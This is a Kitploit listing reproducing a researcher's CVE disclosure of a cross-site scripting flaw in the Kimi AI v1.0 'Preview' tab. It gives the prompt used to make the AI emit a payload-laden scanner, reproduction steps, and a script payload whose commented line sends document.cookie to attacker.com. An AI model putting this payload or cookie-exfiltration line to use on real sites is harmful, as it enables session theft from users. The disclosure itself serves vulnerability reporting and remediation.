Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39107 — Detailed disclosure of a stored XSS vulnerability in Kimi AI v1.0's Preview tab, including attack scenario, PoC, and remediation guidance for security researchers. | Kitploit
Tools/GitHubGitHub/mgtx2/cve-2026-39107
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubmgtx2/cve-2026-39107

CVE-2026-39107

Detailed disclosure of a stored XSS vulnerability in Kimi AI v1.0's Preview tab, including attack scenario, PoC, and remediation guidance for security researchers.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39107: Cross-Site Scripting (XSS) in Kimi AI v1.0

Description

A Cross-Site Scripting (XSS) vulnerability exists in the Kimi AI v1.0 web interface's 'Preview' feature. The application fails to properly sanitize or encode HTML/JavaScript payloads generated by the AI model. When a user switches to the 'Preview' tab to view AI-generated code, the malicious payload is rendered directly into the DOM, leading to arbitrary JavaScript execution in the victim's browser session.

Researcher

Mustafa Hameed

Vulnerability Details

  • Vulnerability Type: Stored/Stored-like Cross-Site Scripting (XSS) via AI Response
  • Affected Product: Kimi AI
  • Affected Version: v1.0
  • Affected Component: 'Preview' Tab / Code Rendering Component

Attack Scenario & Exploitation

The vulnerability can be exploited by prompting the AI to generate a security tool or script (e.g., an automated XSS scanner similar to XSStrike) that contains built-in payloads. The AI generates the requested application source code but embeds the malicious payload within the HTML/JavaScript framework. When the victim navigates to the 'Preview' tab to test or view the generated tool, the embedded malicious payload bypasses sanitization and executes immediately.

Prompt Used:

"Create a simple web-based XSS scanner tool similar to XSStrike. Include an interface with a list of payloads for scanning."

Embedded Malicious Payload Example:

root@kitploit:~
<script>
    alert('mustafa');
// Potential for malicious action: fetch('http://attacker.com/log?cookie=' + document.cookie)
</script>

Steps to Reproduce

1.Log in to the Kimi AI web platform.

2.Provide the prompt requesting the creation of a tool (like the XSStrike clone) containing the scanner code.

3.Wait for the AI model to fully generate the code response.

4.Click on the 'Preview' tab in the chat interface to view the rendered application.

5.The application fails to filter the JavaScript context within the preview container, triggering immediate execution of the script in the victim's browser.

Proof of Concept (PoC)

Below is the screenshot demonstrating the successful execution of the XSS payload. The malicious JavaScript triggers immediately when navigating to the 'Preview' tab:

XSS
Download Tool